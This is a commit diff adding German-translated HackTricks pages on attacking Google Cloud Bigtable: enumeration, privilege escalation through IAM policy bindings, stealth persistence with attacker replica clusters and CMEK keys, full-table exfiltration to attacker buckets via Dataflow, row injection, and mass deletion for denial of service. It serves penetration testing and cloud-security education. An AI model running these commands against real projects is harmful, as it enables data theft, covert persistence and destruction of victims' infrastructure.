mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
Translator
@@ -0,0 +1,52 @@
|
||||
# GCP - Bigtable Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Weitere Informationen zu Bigtable:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dediziertes Angreifer-App-Profil
|
||||
|
||||
**Berechtigungen:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Erstelle ein App-Profil, das den Traffic zu deinem Replica-Cluster weiterleitet, und aktiviere Data Boost, damit du nicht von bereitgestellten Knoten abhängig bist, die Verteidiger bemerken könnten.
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
--row-affinity --description="internal batch"
|
||||
|
||||
gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Solange dieses Profil existiert, kannst du dich mit neuen Anmeldeinformationen, die darauf verweisen, wieder verbinden.
|
||||
|
||||
### Unterhalte deinen eigenen Replikat-Cluster
|
||||
|
||||
**Permissions:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Stelle einen Cluster mit minimaler Knotenanzahl in einer ruhigen Region bereit. Selbst wenn deine Client-Identitäten verschwinden, **behält der Cluster eine vollständige Kopie jeder Tabelle**, bis die Verteidiger sie explizit entfernen.
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Behalte es über `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` im Auge, damit du bei Bedarf sofort hochskalieren kannst, um Daten zu ziehen.
|
||||
|
||||
### Replikation hinter deiner eigenen CMEK absichern
|
||||
|
||||
**Berechtigungen:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
|
||||
Bringe deinen eigenen KMS-Key mit, wenn du einen Clone hochziehst. Ohne diesen Key kann Google den Cluster nicht neu erstellen oder fail over durchführen, daher müssen blue teams sich mit dir abstimmen, bevor sie ihn anfassen.
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Rotieren oder deaktivieren Sie den Schlüssel in Ihrem Projekt, um das Replikat sofort unbrauchbar zu machen (wobei Sie den Schlüssel später wieder aktivieren können).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,252 @@
|
||||
# GCP - Bigtable Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Für weitere Informationen zu Bigtable siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Installieren Sie die `cbt`-CLI einmal über das Cloud SDK, damit die untenstehenden Befehle lokal funktionieren:
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
|
||||
### Zeilen lesen
|
||||
|
||||
**Berechtigungen:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` wird mit dem Cloud SDK ausgeliefert und spricht direkt mit den Admin-/Data-APIs, ohne Middleware zu benötigen. Richten Sie es auf das kompromittierte Projekt/Instanz und lesen Sie Zeilen direkt aus der Tabelle aus. Begrenzen Sie den Scan, wenn Sie nur einen kurzen Blick benötigen.
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
### Zeilen schreiben
|
||||
|
||||
**Berechtigungen:** `bigtable.tables.mutateRows` (Sie benötigen `bigtable.tables.readRows`, um die Änderung zu bestätigen).
|
||||
|
||||
Verwenden Sie dasselbe Tool, um beliebige Zellen zu upserten. Das ist der schnellste Weg, um configs zu backdooren, web shells zu droppen oder poisoned dataset rows zu platzieren.
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
|
||||
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` akzeptiert rohe Bytes über die `@/path`-Syntax, sodass du kompilierte payloads oder serialisierte protobufs genau so hochladen kannst, wie downstream services es erwarten.
|
||||
|
||||
### Zeilen in deinen Bucket exportieren
|
||||
|
||||
**Berechtigungen:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Es ist möglich, die Inhalte einer gesamten Tabelle in einen vom attacker kontrollierten Bucket zu exfiltrate, indem du einen Dataflow-Job startest, der Zeilen in einen von dir kontrollierten GCS-Bucket streamt.
|
||||
|
||||
> [!NOTE]
|
||||
> Beachte, dass du die Berechtigung `iam.serviceAccounts.actAs` für ein SA benötigst, das genügend Rechte hat, um den Export durchzuführen (standardmäßig, falls nicht anders angegeben, wird das default compute SA verwendet).
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run dump-bigtable3 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--region=us-central1 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> Wechseln Sie die Vorlage zu `Cloud_Bigtable_to_GCS_Parquet` oder `Cloud_Bigtable_to_GCS_SequenceFile`, wenn Sie Parquet/SequenceFile-Ausgaben statt JSON wünschen. Die Berechtigungen sind dieselben; nur der Vorlagenpfad ändert sich.
|
||||
|
||||
### Zeilen importieren
|
||||
|
||||
**Berechtigungen:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Es ist möglich, den Inhalt einer gesamten Tabelle aus einem vom Angreifer kontrollierten Bucket zu importieren, indem ein Dataflow-Job gestartet wird, der Zeilen in einen von Ihnen kontrollierten GCS-Bucket streamt. Dafür muss der Angreifer zunächst eine Parquet-Datei mit den zu importierenden Daten im erwarteten Schema erstellen. Ein Angreifer könnte die Daten zunächst im Parquet-Format exportieren, wie in der vorherigen Technik beschrieben, mit der Einstellung `Cloud_Bigtable_to_GCS_Parquet` und dann neue Einträge in die heruntergeladene Parquet-Datei hinzufügen.
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass Sie die Berechtigung `iam.serviceAccounts.actAs` für ein SA benötigen, das über ausreichende Rechte verfügt, um den Export durchzuführen (standardmäßig, sofern nicht anders angegeben, wird das default compute SA verwendet).
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=<PROJECT> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=us-central1 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
### Backups wiederherstellen
|
||||
|
||||
**Berechtigungen:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann ein Backup in eine neue Tabelle unter eigener Kontrolle wiederherstellen, um alte sensible Daten wiederherzustellen.
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
|
||||
gcloud bigtable instances tables restore \
|
||||
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
|
||||
--async \
|
||||
--destination=<TABLE_ID_NEW> \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Tabellen wiederherstellen (Undelete tables)
|
||||
|
||||
**Berechtigungen:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable unterstützt Soft-Deletion mit einer Schonfrist (typischerweise standardmäßig 7 Tage). Während dieses Zeitraums kann ein Angreifer mit der Berechtigung `bigtable.tables.undelete` eine kürzlich gelöschte Tabelle wiederherstellen und alle ihre Daten zurückgewinnen, wodurch er möglicherweise auf sensible Informationen zugreifen kann, die als vernichtet galten.
|
||||
|
||||
Dies ist besonders nützlich für:
|
||||
- Wiederherstellen von Daten aus Tabellen, die von Verteidigern während des Incident Response gelöscht wurden
|
||||
- Zugriff auf historische Daten, die absichtlich gelöscht wurden
|
||||
- Rückgängigmachen von versehentlichen oder böswilligen Löschungen, um Persistence aufrechtzuerhalten
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
--show-deleted
|
||||
|
||||
# Undelete a table within the retention period
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Die Undelete-Operation funktioniert nur innerhalb des konfigurierten Aufbewahrungszeitraums (Standard: 7 Tage). Nachdem dieses Zeitfenster abgelaufen ist, werden die Tabelle und ihre Daten dauerhaft gelöscht und können über diese Methode nicht wiederhergestellt werden.
|
||||
|
||||
|
||||
### Autorisierte Views erstellen
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Autorisierte Views ermöglichen es, einen kuratierten Teil der Tabelle darzustellen. Anstatt Least Privilege zu beachten, verwenden Sie sie, um **genau die sensiblen Spalten-/Zeilenmengen** zu veröffentlichen, die Ihnen wichtig sind, und setzen Sie Ihr eigenes Principal auf die Whitelist.
|
||||
|
||||
> [!WARNING]
|
||||
> Die Sache ist: Um eine autorisierte View zu erstellen, müssen Sie außerdem Zeilen in der Basistabelle lesen und mutieren können. Sie erhalten dadurch also keine zusätzlichen Berechtigungen — diese Technik ist daher größtenteils nutzlos.
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": ["acct#"],
|
||||
"familySubsets": {
|
||||
"pii": {
|
||||
"qualifiers": ["cc_number", "cc_cvv"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
gcloud bigtable authorized-views create card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/credit-cards.json
|
||||
|
||||
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Da der Zugriff auf die View beschränkt ist, übersehen Verteidiger oft, dass Sie gerade einen neuen hochsensitiven Endpunkt erstellt haben.
|
||||
|
||||
### Authorized Views lesen
|
||||
|
||||
**Berechtigungen:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Wenn Sie Zugriff auf eine Authorized View haben, können Sie Daten daraus mithilfe der Bigtable-Clientbibliotheken lesen, indem Sie den Namen der Authorized View in Ihren Leseanfragen angeben. Beachten Sie, dass die Authorized View wahrscheinlich einschränkt, worauf Sie in der Tabelle zugreifen können. Im Folgenden ein Beispiel mit Python:
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
from google.cloud.bigtable_v2 import ReadRowsRequest
|
||||
|
||||
# Set your project, instance, table, view id
|
||||
PROJECT_ID = "gcp-labs-3uis1xlx"
|
||||
INSTANCE_ID = "avesc-20251118172913"
|
||||
TABLE_ID = "prod-orders"
|
||||
AUTHORIZED_VIEW_ID = "auth_view"
|
||||
|
||||
client = bigtable.Client(project=PROJECT_ID, admin=True)
|
||||
instance = client.instance(INSTANCE_ID)
|
||||
table = instance.table(TABLE_ID)
|
||||
|
||||
data_client = DataClient()
|
||||
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
|
||||
|
||||
request = ReadRowsRequest(
|
||||
authorized_view_name=authorized_view_name
|
||||
)
|
||||
|
||||
rows = data_client.read_rows(request=request)
|
||||
for response in rows:
|
||||
for chunk in response.chunks:
|
||||
if chunk.row_key:
|
||||
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
|
||||
print(f"Row: {row_key}")
|
||||
if chunk.family_name:
|
||||
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
|
||||
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service durch Löschoperationen
|
||||
|
||||
**Berechtigungen:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Jede der Bigtable-Löschberechtigungen kann für denial of service-Angriffe missbraucht werden. Ein Angreifer mit diesen Berechtigungen kann den Betrieb stören, indem er kritische Bigtable-Ressourcen löscht:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Löscht Anwendungsprofile und unterbricht dadurch Client-Verbindungen sowie Routing-Konfigurationen
|
||||
- **`bigtable.authorizedViews.delete`**: Entfernt autorisierte Views und kappt legitime Zugriffswege für Anwendungen
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Entfernt Tag-Bindings von autorisierten Views
|
||||
- **`bigtable.backups.delete`**: Zerstört Backup-Snapshots und eliminiert damit Disaster-Recovery-Optionen
|
||||
- **`bigtable.clusters.delete`**: Löscht komplette Cluster und verursacht sofortige Datenunverfügbarkeit
|
||||
- **`bigtable.instances.delete`**: Entfernt komplette Bigtable-Instanzen und löscht alle Tabellen und Konfigurationen
|
||||
- **`bigtable.tables.delete`**: Löscht einzelne Tabellen und verursacht Datenverlust sowie Ausfälle von Anwendungen
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an authorized view
|
||||
gcloud bigtable authorized-views delete <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
|
||||
# Delete a backup
|
||||
gcloud bigtable backups delete <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id>
|
||||
|
||||
# Delete an app profile
|
||||
gcloud bigtable app-profiles delete <profile-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete a cluster
|
||||
gcloud bigtable clusters delete <cluster-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Löschvorgänge sind häufig sofort und unwiderruflich. Stellen Sie sicher, dass vor dem Testen dieser Befehle Backups vorhanden sind, da sie zu dauerhaftem Datenverlust und schweren Dienstunterbrechungen führen können.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,106 @@
|
||||
# GCP - Bigtable Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Für weitere Informationen zu Bigtable siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Berechtigungen:** `bigtable.instances.setIamPolicy` (und normalerweise `bigtable.instances.getIamPolicy`, um die aktuellen Bindungen zu lesen).
|
||||
|
||||
Der Besitz der IAM-Policy der Instanz ermöglicht es dir, dir selbst **`roles/bigtable.admin`** (oder jede beliebige benutzerdefinierte Rolle) zuzuweisen, die auf jeden Cluster, jede Tabelle, jedes Backup und jede autorisierte Ansicht in der Instanz angewendet wird.
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> Wenn Sie die bestehenden Bindings nicht auflisten können, erstellen Sie ein neues Policy-Dokument und pushen Sie es mit `gcloud bigtable instances set-iam-policy`, vorausgesetzt, Sie tragen sich selbst darin ein.
|
||||
|
||||
Nachdem Sie diese Berechtigung haben, schauen Sie im [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) nach, um weitere Techniken zum Missbrauch von Bigtable-Berechtigungen zu finden.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Berechtigungen:** `bigtable.tables.setIamPolicy` (optional `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Instanz-Policies können gesperrt sein, während einzelne Tabellen delegiert werden. Wenn Sie das table IAM bearbeiten können, können Sie sich selbst zum Besitzer des Ziel-Datasets befördern, ohne andere Workloads zu berühren.
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Wenn Sie diese Berechtigung haben, sehen Sie in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) nach Techniken für weitere Möglichkeiten, Bigtable-Berechtigungen zu missbrauchen.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permissions:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Backups können in **jede Instanz in jedem Projekt** wiederhergestellt werden, das Sie kontrollieren. Geben Sie zunächst Ihrer Identität Zugriff auf das Backup und stellen Sie es dann in einer Sandbox wieder her, in der Sie Admin/Owner roles innehaben.
|
||||
|
||||
Wenn Sie die Berechtigung `bigtable.backups.setIamPolicy` haben, könnten Sie sich selbst die Berechtigung `bigtable.backups.restore` gewähren, um alte Backups wiederherzustellen und zu versuchen, auf sensible Daten zuzugreifen.
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Prüfe zuvor diese Berechtigung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), um zu sehen, wie ein Backup wiederhergestellt wird.
|
||||
|
||||
|
||||
### Update authorized view
|
||||
|
||||
**Berechtigungen:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views sollen Zeilen/Spalten unkenntlich machen. Das Ändern oder Löschen von ihnen **entfernt die feingranularen Schutzmechanismen**, auf die Verteidiger angewiesen sind.
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/permissive-view.json --ignore-warnings
|
||||
|
||||
# Json example not filtering any row or column
|
||||
cat <<'EOF' > /tmp/permissive-view.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": [""],
|
||||
"familySubsets": {
|
||||
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
|
||||
"qualifierPrefixes": [""]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Describe the authorized view to get a family name
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Prüfen Sie diese Berechtigung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), um zu sehen, wie man von einem authorized view liest.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Berechtigungen:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann sich selbst Zugriff auf eine Authorized View gewähren, die sensible Daten enthalten kann, auf die sonst kein Zugriff bestünde.
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Nachdem diese Berechtigungsprüfung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) durchgeführt wurde, um zu prüfen, wie man aus einer autorisierten Ansicht liest.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,10 +1,71 @@
|
||||
# GCP - Bigtable Enum
|
||||
# GCP - Bigtable Aufzählung
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
## Bigtable
|
||||
|
||||
Ein vollständig verwalteter, skalierbarer NoSQL-Datenbankdienst für große analytische und operationale Workloads mit einer Verfügbarkeit von bis zu 99,999%. [Learn more](https://cloud.google.com/bigtable).
|
||||
Google Cloud Bigtable ist eine vollständig verwaltete, skalierbare NoSQL-Datenbank, die für Anwendungen entwickelt wurde, die extrem hohen Durchsatz und niedrige Latenz benötigen. Sie ist darauf ausgelegt, riesige Datenmengen — Petabytes über tausende Knoten — zu verarbeiten und bietet dabei schnelle Lese- und Schreibzugriffe. Bigtable eignet sich ideal für Workloads wie Zeitreihendaten, IoT-Telemetrie, Finanzanalysen, Personalisierungs-Engines und großskalige operative Datenbanken. Es verwendet eine spärliche, verteilte, mehrdimensionale sortierte Map als zugrunde liegendes Speicher-Modell, wodurch breite Tabellen effizient gespeichert werden können, in denen viele Spalten leer sind. [Learn more](https://cloud.google.com/bigtable).
|
||||
|
||||
### Hierarchy
|
||||
|
||||
1. **Bigtable-Instanz**
|
||||
|
||||
Eine Bigtable-Instanz ist die oberste Ressource, die du erstellst.
|
||||
Sie speichert nicht selbst Daten — denke an sie als einen logischen Container, der deine Cluster und Tabellen zusammenfasst.
|
||||
|
||||
Es gibt zwei Instanztypen:
|
||||
|
||||
- Entwicklungsinstanz (Einzelknoten, günstig, nicht für den Produktivbetrieb)
|
||||
- Produktionsinstanz (kann mehrere Cluster haben)
|
||||
|
||||
2. **Clusters**
|
||||
|
||||
Ein Cluster enthält die tatsächlichen Compute- und Storage-Ressourcen, die zum Bereitstellen von Bigtable-Daten verwendet werden.
|
||||
|
||||
- Jedes Cluster befindet sich in einer einzelnen Region.
|
||||
- Es besteht aus Knoten, die CPU-, RAM- und Netzwerkkapazität bereitstellen.
|
||||
- Du kannst Multi-Cluster-Instanzen für hohe Verfügbarkeit oder globale Lese-/Schreibzugriffe erstellen.
|
||||
- Daten werden automatisch zwischen Clustern derselben Instanz repliziert.
|
||||
|
||||
Wichtig:
|
||||
- Tabellen gehören zur Instanz, nicht zu einem bestimmten Cluster.
|
||||
- Cluster stellen lediglich die Ressourcen zur Verfügung, um die Daten zu bedienen.
|
||||
|
||||
3. **Tables**
|
||||
|
||||
Eine Tabelle in Bigtable ähnelt einer Tabelle in NoSQL-Datenbanken:
|
||||
|
||||
- Daten werden in Zeilen gespeichert, identifiziert durch einen Row-Key.
|
||||
- Jede Zeile enthält Spaltenfamilien (column families), die Spalten enthalten.
|
||||
- Sie ist spärlich: leere Zellen verbrauchen keinen Speicherplatz.
|
||||
- Bigtable speichert Daten lexikographisch sortiert nach dem Row-Key.
|
||||
|
||||
Tabellen werden von allen Clustern in der Instanz bedient.
|
||||
|
||||
4. **Tablets (and Hot Tablets)**
|
||||
|
||||
Bigtable teilt jede Tabelle in horizontale Partitionen namens Tablets. Ein Tablet ist:
|
||||
|
||||
- Ein zusammenhängender Bereich von Row-Keys.
|
||||
- Zu jedem Zeitpunkt auf einem einzelnen Knoten gespeichert.
|
||||
- Tablets werden von Bigtable automatisch geteilt, zusammengeführt und verschoben.
|
||||
|
||||
Ein **hot tablet** entsteht, wenn:
|
||||
|
||||
- Zu viele Lese- oder Schreibzugriffe denselben Row-Key-Bereich (dieses Tablet) treffen.
|
||||
- Dieses spezifische Tablet/Knoten überlastet wird.
|
||||
- Das führt zu Hotspots (Leistungsengpässen).
|
||||
|
||||
5. **Authorized Views**
|
||||
|
||||
Autorisierte Views ermöglichen es, einen Teil der Tabellendaten zu erstellen, der mit bestimmten Benutzern oder Anwendungen geteilt werden kann, ohne Zugriff auf die gesamte Tabelle zu gewähren. Das ist nützlich für:
|
||||
|
||||
- Einschränkung des Zugriffs auf sensible Daten.
|
||||
- Bereitstellung von Lesezugriff auf bestimmte Spalten oder Zeilen.
|
||||
|
||||
6. **App Profiles**
|
||||
|
||||
Ein Bigtable App-Profile ist eine Konfiguration, die definiert, wie eine bestimmte Anwendung oder ein Client mit einer Bigtable-Instanz interagieren soll, besonders in Umgebungen mit mehreren Clustern. Es steuert das Routing-Verhalten — ob Anfragen an einen einzelnen Cluster oder verteilt über mehrere Cluster für hohe Verfügbarkeit geleitet werden sollen — und bestimmt, wie Schreibvorgänge repliziert werden, mit der Wahl zwischen synchroner (stärkere Konsistenz) oder asynchroner (niedrigere Latenz) Replikation.
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
|
||||
gcloud bigtable clusters list
|
||||
gcloud bigtable clusters describe <cluster>
|
||||
|
||||
## Tables
|
||||
gcloud bigtable tables list --instance <INSTANCE>
|
||||
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
|
||||
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
|
||||
|
||||
## Backups
|
||||
gcloud bigtable backups list --instance <INSTANCE>
|
||||
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
|
||||
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
|
||||
## App Profiles
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
|
||||
## Authorized Views
|
||||
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
|
||||
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
|
||||
```
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigtable-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigtable-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user